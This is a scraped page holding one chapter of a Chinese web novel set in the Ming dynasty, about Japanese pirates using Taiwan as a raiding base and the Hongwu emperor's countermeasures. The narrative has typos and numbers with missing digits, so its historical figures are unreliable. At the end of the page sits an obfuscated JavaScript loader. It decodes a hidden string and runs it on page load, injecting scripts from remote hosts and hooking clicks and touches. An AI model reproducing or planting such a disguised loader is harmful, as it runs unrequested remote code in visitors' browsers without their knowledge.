第四百二十五章 小琉球倭患的由...(1 / 2)

执宰大明 小黑醉酒 0 字 2021-03-29

?</p>

经过与山下元道的交谈,李云天知道了早上在海面上追击山下元道的海盗身份,是小琉球鸡笼山的倭寇。.</p>

小琉球是明朝对台湾的称呼,与之相对应的是大琉球,也就是琉球群岛。</p>

由于台湾在东汉时被称为夷洲,故而台湾海峡此时被人们称为夷洲海峡,是明代三大著名海峡之一。</p>

明代的三大著名海峡由北向南依次是鞑靼海峡、夷洲海峡和琼州海峡。</p>

夷洲海鲜和琼州海峡被后人所熟知,而鞑靼海峡知道的人则少之又少,因为第二次鸦片战争期间,沙皇俄国于186年逼迫清政府签订《北京条约》,将鞑靼海峡两岸据为己有。</p>

鞑靼海峡因鞑靼族而得名,鞑靼是俄罗斯人对中亚和北亚许多亚洲游牧民族的统称,将其东面的库页岛与西面的亚洲大陆分开,连通北面的鄂霍茨克海和南面的日本海,拥有极其重要的战略位置。</p>

此时,小琉球是倭寇、走私商和逃犯的乐园,倭寇将其作为劫掠海上客商和袭扰大明东南沿海的基地。</p>

之所以会出现这种情形,是因为洪武二十年的时候,明太祖对袭扰东南沿海的倭寇实行了坚壁清野的政策,下旨撤销了管辖小琉球事宜的澎湖巡检司,将小琉球的居民内迁到了临近的漳州和泉州。</p>

直到嘉靖四十二年,明廷才恢复了澎湖巡检司,再度管辖小琉球的军政事宜。</p>

据史料记载,海寇利用海风之便肆意在大明富庶的东南沿海掠夺,来如群狼,去如飞鸟,令驻防的明军防不胜防。</p>

而小琉球由于特殊的地理位置,自然就成了倭寇前往东南沿海劫掠的必经之地,倭寇不仅在东南沿海劫掠,还在孤悬海外的小琉球大肆掠夺,使得小琉球成为倭寇劫掠的重灾区。</p>

一些为躲避元末明初战乱而选择前往小琉球避难的百姓万万想不到他们会遇上了倭祸,可谓倒霉透顶,欲哭无泪。</p>

洪武帝为了解决倭寇的问题,先是试图通过外交手段,数次派使者出使日本,不过日本当时处于南北朝时期,南北两派的通知者相互推诿,使得洪武帝的这一努力宣告落败,故而改用武力来剿灭倭寇。</p>

当年,大明闵浙巡抚汤和曾经向洪武帝奏报,倭寇每次侵扰福建、广东等地,必会去小琉球补充淡水和粮食,而小琉球兵少势孤、移民众多,因此逐渐成为了倭寇的聚集地。</p>

这使得洪武帝认为小琉球是东南沿海倭寇屡禁不绝的罪魁祸首,因此发布了禁海令,想要隔绝倭寇与东南沿海的联系。</p>

可惜的是,洪武帝的这一措施不但没有杜绝倭患,反而使得不少东南沿海的百姓为了生计成为了海盗和走私商,进而加入了倭寇的行列中。</p>

而且,由于小琉球成为了倭寇的补给基地,这使得倭寇机动性非常强,他们时常派人到沿海城市窥探虚实,一旦发现机会就蜂拥而至,以迅雷不及掩耳之势进行劫掠,等当地驻军赶来增援的时候倭寇已经抢夺完毕乘船离开,使得那些驻军只能望洋兴叹。</p>

鉴于此,洪武帝开始转变对付倭寇的策略,着手布置沿海地区的海防,在辽东到广东的漫长沿海地区设置了五十多个卫所,打造了一道坚固的海防防线。</p>

按照洪武帝的要求,那些沿海的每个卫所都配备有战船5艘,每船能搭载士兵5名,总兵力达到了2多万。</p>

由于有了这道海防防线,倭寇袭扰的事件大为减少,倭寇上岸劫掠的时候通常都会受到那些沿海卫所的追杀,洪武帝耗费大量人力、财力和物力构建的这道海防防线看似抑制住了那些倭寇。</p>

不过,倭寇很快就改变了策略,犹豫小琉球孤悬海外明军力量薄弱,因此他们再来东南沿海打劫时先去小琉球,然后派人去东南沿海城市窥探,要是当地明军防备严密,那么就先待在小琉球,一旦发现明军稍有松懈就趁机蜂拥而上,前去洗劫一番,然后迅速逃走。</p>

小琉球有着足够的物资补给,足够那些倭寇待在上面等待时机,实在没有机会也能小琉球劫掠一番,也能有不错的收获。</p>

故而,小琉球逐渐成为了倭寇的侵袭东南沿海的跳板,洪武帝耗费心血打造的海防防线对此无能为力。</p>

除非能把面积广阔的小琉球经营得与内陆一样,这样才能驱离那些倭寇,可小琉球现在还属蛮夷之地,要想达到这个目标需要耗费巨大的精力和财力,并且还要组织内陆的居民移民小琉球,工程浩大,难以实施。</p>

洪武十九年七月,倭寇以小琉球为基地,在福建沿海连续袭扰了一个多月,相继劫掠了漳州、泉州、福州、兴化和厦门等地后方才扬长而去,满载而归,而当地的海防军队却无能为力。</p>

战报传到南京后,洪武帝大发雷霆,破口大骂闽浙巡抚汤和:“开国功臣,竟奈何不得区区倭奴!</p>

鉴于海防防线无法抵御倭寇的侵袭,洪武帝于是想到了一个极端的办法,那就是在小琉球坚壁清野,撤回小琉球的局面,而当时的文武大臣皆赞同此举,即使有人心有异议也不敢忤逆洪武帝。</p>

Tip:阅读页快捷键:上一章(←)、下一章(→)、回目录(回车)
!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();